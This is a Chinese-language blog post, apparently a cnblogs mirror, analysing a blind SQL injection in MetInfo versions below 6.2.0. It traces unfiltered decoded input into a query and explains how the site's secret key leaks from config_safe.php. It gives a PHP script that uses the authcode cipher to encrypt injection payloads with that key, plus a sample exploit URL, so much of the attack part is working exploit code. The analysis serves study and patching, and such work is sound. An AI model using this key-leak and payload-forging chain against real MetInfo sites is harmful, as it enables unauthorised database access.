zoukankan      html  css  js  c++  java
  • metinfo小于v6.2.0版本通杀SQL盲注漏洞分析

    0x01

     此漏洞是由于未将decode解码后的数据过滤,而直接带入SQL语句中,从而导致SQL盲注漏洞。

    0x02

     漏洞分析:此处复现为metinfo6.1.3版本,漏洞最初产生为:/app/system/user/web/register.class.php 94~107行:

     

     可以看到此函数将 GET,POST,COOKIE,过来的数据经过decode解码后直接赋值给$username变量,然后将此变量带入get_user_valid()函数,跟进:

     可以看到有将此可控变量引入get_user_by_username()函数,跟进:

    再次跟进get_user_by_nameid()函数:

    此处可以看到,这条SQL语句将未过滤的变量直接带入SQL查询中,于是产生SQL注入漏洞。此处回过头在看看decode函数内容,然后构造payload。

    可以看到decode函数与encode函数都会将数据引入authcode函数中,查看此函数:

    public function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0){
    		$ckey_length = 4;  
    		$key = md5($key ? $key : UC_KEY);
    		$keya = md5(substr($key, 0, 16));
    		$keyb = md5(substr($key, 16, 16));
    		$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
    		$cryptkey = $keya.md5($keya.$keyc);
    		$key_length = strlen($cryptkey);
    		$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
    		$string_length = strlen($string);
    		$result = '';
    		$box = range(0, 255);
    		$rndkey = array();
    		for($i = 0; $i <= 255; $i++) {
    			$rndkey[$i] = ord($cryptkey[$i % $key_length]);
    		}
    		for($j = $i = 0; $i < 256; $i++) {
    			$j = ($j + $box[$i] + $rndkey[$i]) % 256;
    			$tmp = $box[$i];
    			$box[$i] = $box[$j];
    			$box[$j] = $tmp;
    		}
    
    		for($a = $j = $i = 0; $i < $string_length; $i++) {
    			$a = ($a + 1) % 256;
    			$j = ($j + $box[$a]) % 256;
    			$tmp = $box[$a];
    			$box[$a] = $box[$j];
    			$box[$j] = $tmp;
    			$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
    		}
    
    		if($operation == 'DECODE') {
    			if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
    			   return substr($result, 26);
    			} else {
    			   return '';
    			}
    		}else{
    			return $keyc.str_replace('=', '', base64_encode($result));
    		}
    	}
    

     再看次函数必须的一个参数$this->auth_key = $_M['config']['met_webkeys'];

    此处可以看到$_M['config']['met_webkeys']是取随机数,然后在写入config_safe.php中,但此处有一个致命的问题,就是<?php后面没有空格是无法解析的,于是可以查看的到此随机数。

    于是,有了$this->auth_key = $_M['config']['met_webkeys']的值之后,就可以随意通过此加密算法构造payload。首先将authcode()函数的内容拷贝至本地,如下:

    <?php
    public function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0){
    		$ckey_length = 4;  
    		$key = md5($key ? $key : UC_KEY);
    		$keya = md5(substr($key, 0, 16));
    		$keyb = md5(substr($key, 16, 16));
    		$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
    		$cryptkey = $keya.md5($keya.$keyc);
    		$key_length = strlen($cryptkey);
    		$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
    		$string_length = strlen($string);
    		$result = '';
    		$box = range(0, 255);
    		$rndkey = array();
    		for($i = 0; $i <= 255; $i++) {
    			$rndkey[$i] = ord($cryptkey[$i % $key_length]);
    		}
    		for($j = $i = 0; $i < 256; $i++) {
    			$j = ($j + $box[$i] + $rndkey[$i]) % 256;
    			$tmp = $box[$i];
    			$box[$i] = $box[$j];
    			$box[$j] = $tmp;
    		}
    
    		for($a = $j = $i = 0; $i < $string_length; $i++) {
    			$a = ($a + 1) % 256;
    			$j = ($j + $box[$a]) % 256;
    			$tmp = $box[$a];
    			$box[$a] = $box[$j];
    			$box[$j] = $tmp;
    			$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
    		}
    
    		if($operation == 'DECODE') {
    			if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
    			   return substr($result, 26);
    			} else {
    			   return '';
    			}
    		}else{
    			return $keyc.str_replace('=', '', base64_encode($result));
    		}
    	}
    print_r(urlencode(authcode($_GET['str'],'ENCOUDE',$_GET['key'],0)));
    ?>
    

     稍作更改,访问此文件,$_GET['str']的值为payload,$_GET['key']的值为config_safe.php中的内容,可获取一个加密后的数据,然后将此数据通过GET,POST,COOKIE等方式传入,即可成功利用漏洞。

    首先如上图,获取加密后的payload数据。然后访问漏洞函数,并且将此数据传入:

    http://localhost/metinfo6.1.3/admin/index.php?n=user&m=web&c=register&a=doemailvild&p=45dd78Y9dDtrokkqvc%2FCDfyxHbPjk5YL9vokbnG%2Fm819%2Fd1pgL8GbvW5dEQGOQ

    漏洞利用成功。

     此处附上EXP:https://www.cnblogs.com/Spec/p/10735432.html

  • 相关阅读:
    SQL update select
    Centos7 update dotnet 无法识别
    asp.net core mvc 在中间件中使用依赖注入问题:System.InvalidOperationException: Cannot resolve scoped service 'IXXXService' from root provider.
    SQL Server类型与C#类型对应关系
    .NET Core ABP
    支付宝小程序获取用户授权
    .Net 多线程,异步且控制并发数量
    SQL:尝试将不可为 NULL 的列的值设置为 NULL
    .Net Core依赖注入和服务注册
    .NET Core配置主机端口的几种方式
  • 原文地址:https://www.cnblogs.com/Spec/p/10729283.html
Copyright © 2011-2022 走看看